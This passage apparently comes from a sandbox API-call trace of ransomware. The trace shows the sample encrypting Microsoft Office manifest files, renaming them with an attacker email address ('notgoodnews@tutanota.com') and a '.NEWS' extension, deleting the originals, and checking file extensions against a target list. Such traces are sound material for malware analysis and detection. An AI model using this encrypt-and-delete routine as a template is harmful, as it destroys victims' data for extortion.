[0069.299] CloseHandle (hObject=0x308) returned 1 [0069.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0069.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0069.300] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.300] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0069.300] GetLastError () returned 0x0 [0069.300] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x863, lpOverlapped=0x0) returned 1 [0071.045] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x870, lpOverlapped=0x0) returned 1 [0071.045] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.046] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.046] SetEndOfFile (hFile=0x33c) returned 1 [0071.046] CloseHandle (hObject=0x33c) returned 1 [0071.047] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.047] SetEndOfFile (hFile=0x308) returned 1 [0071.048] CloseHandle (hObject=0x308) returned 1 [0071.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0071.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.048] lstrlenW (lpString=".doc") returned 4 [0071.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.048] lstrlenW (lpString=".docx") returned 5 [0071.048] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.048] lstrlenW (lpString=".pdf") returned 4 [0071.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString=".xls") returned 4 [0071.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString=".xlsx") returned 5 [0071.049] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.049] lstrlenW (lpString=".ppt") returned 4 [0071.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.049] lstrlenW (lpString=".zip") returned 4 [0071.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.049] lstrlenW (lpString=".rar") returned 4 [0071.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString=".bz2") returned 4 [0071.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString=".7z") returned 3 [0071.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.049] lstrlenW (lpString=".dbf") returned 4 [0071.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.049] lstrlenW (lpString=".1cd") returned 4 [0071.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.049] lstrlenW (lpString=".jpg") returned 4 [0071.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.049] lstrlenW (lpString=".doc") returned 4 [0071.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString=".docx") returned 5 [0071.049] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.049] lstrlenW (lpString=".pdf") returned 4 [0071.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.049] lstrlenW (lpString=".xls") returned 4 [0071.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.050] lstrlenW (lpString=".xlsx") returned 5 [0071.050] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.050] lstrlenW (lpString=".ppt") returned 4 [0071.050] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.050] lstrlenW (lpString=".zip") returned 4 [0071.050] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.050] lstrlenW (lpString=".rar") returned 4 [0071.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.050] lstrlenW (lpString=".bz2") returned 4 [0071.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.050] lstrlenW (lpString=".7z") returned 3 [0071.050] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.050] lstrlenW (lpString=".dbf") returned 4 [0071.050] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.050] lstrlenW (lpString=".1cd") returned 4 [0071.050] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0071.050] lstrlenW (lpString=".jpg") returned 4 [0071.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.050] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.050] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0071.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.051] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=215883) returned 1 [0071.051] CloseHandle (hObject=0x308) returned 1 [0071.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0071.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.052] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.052] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0071.053] GetLastError () returned 0x0 [0071.053] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0071.057] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x34b50, lpOverlapped=0x0) returned 1 [0071.061] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.061] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.061] SetEndOfFile (hFile=0x33c) returned 1 [0071.061] CloseHandle (hObject=0x33c) returned 1 [0071.066] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.066] SetEndOfFile (hFile=0x308) returned 1 [0071.068] CloseHandle (hObject=0x308) returned 1 [0071.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0071.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.069] lstrlenW (lpString=".doc") returned 4 [0071.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.069] lstrlenW (lpString=".docx") returned 5 [0071.069] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.069] lstrlenW (lpString=".pdf") returned 4 [0071.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.069] lstrlenW (lpString=".xls") returned 4 [0071.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.117] lstrlenW (lpString=".xlsx") returned 5 [0071.117] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.117] lstrlenW (lpString=".ppt") returned 4 [0071.117] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.118] lstrlenW (lpString=".zip") returned 4 [0071.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.118] lstrlenW (lpString=".rar") returned 4 [0071.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString=".bz2") returned 4 [0071.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString=".7z") returned 3 [0071.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.118] lstrlenW (lpString=".dbf") returned 4 [0071.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.118] lstrlenW (lpString=".1cd") returned 4 [0071.118] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.118] lstrlenW (lpString=".jpg") returned 4 [0071.118] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.118] lstrlenW (lpString=".doc") returned 4 [0071.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString=".docx") returned 5 [0071.118] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.118] lstrlenW (lpString=".pdf") returned 4 [0071.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString=".xls") returned 4 [0071.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString=".xlsx") returned 5 [0071.118] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.118] lstrlenW (lpString=".ppt") returned 4 [0071.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.118] lstrlenW (lpString=".zip") returned 4 [0071.119] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.119] lstrlenW (lpString=".rar") returned 4 [0071.119] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.119] lstrlenW (lpString=".bz2") returned 4 [0071.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.119] lstrlenW (lpString=".7z") returned 3 [0071.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.119] lstrlenW (lpString=".dbf") returned 4 [0071.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.119] lstrlenW (lpString=".1cd") returned 4 [0071.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0071.119] lstrlenW (lpString=".jpg") returned 4 [0071.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.119] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.119] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0071.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.120] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0071.120] CloseHandle (hObject=0x308) returned 1 [0071.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0071.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.121] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.121] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0071.121] GetLastError () returned 0x0 [0071.121] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0071.122] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0071.123] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.123] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.124] SetEndOfFile (hFile=0x33c) returned 1 [0071.124] CloseHandle (hObject=0x33c) returned 1 [0071.128] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.128] SetEndOfFile (hFile=0x308) returned 1 [0071.451] CloseHandle (hObject=0x308) returned 1 [0071.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0071.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.451] lstrlenW (lpString=".doc") returned 4 [0071.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.451] lstrlenW (lpString=".docx") returned 5 [0071.451] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.451] lstrlenW (lpString=".pdf") returned 4 [0071.452] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString=".xls") returned 4 [0071.452] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString=".xlsx") returned 5 [0071.452] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.452] lstrlenW (lpString=".ppt") returned 4 [0071.452] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.452] lstrlenW (lpString=".zip") returned 4 [0071.452] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.452] lstrlenW (lpString=".rar") returned 4 [0071.452] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString=".bz2") returned 4 [0071.452] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString=".7z") returned 3 [0071.452] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.452] lstrlenW (lpString=".dbf") returned 4 [0071.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.452] lstrlenW (lpString=".1cd") returned 4 [0071.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.452] lstrlenW (lpString=".jpg") returned 4 [0071.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.452] lstrlenW (lpString=".doc") returned 4 [0071.452] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString=".docx") returned 5 [0071.452] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.452] lstrlenW (lpString=".pdf") returned 4 [0071.452] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.452] lstrlenW (lpString=".xls") returned 4 [0071.452] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.453] lstrlenW (lpString=".xlsx") returned 5 [0071.453] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.453] lstrlenW (lpString=".ppt") returned 4 [0071.453] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.453] lstrlenW (lpString=".zip") returned 4 [0071.453] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.453] lstrlenW (lpString=".rar") returned 4 [0071.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.453] lstrlenW (lpString=".bz2") returned 4 [0071.453] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.453] lstrlenW (lpString=".7z") returned 3 [0071.453] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.453] lstrlenW (lpString=".dbf") returned 4 [0071.453] 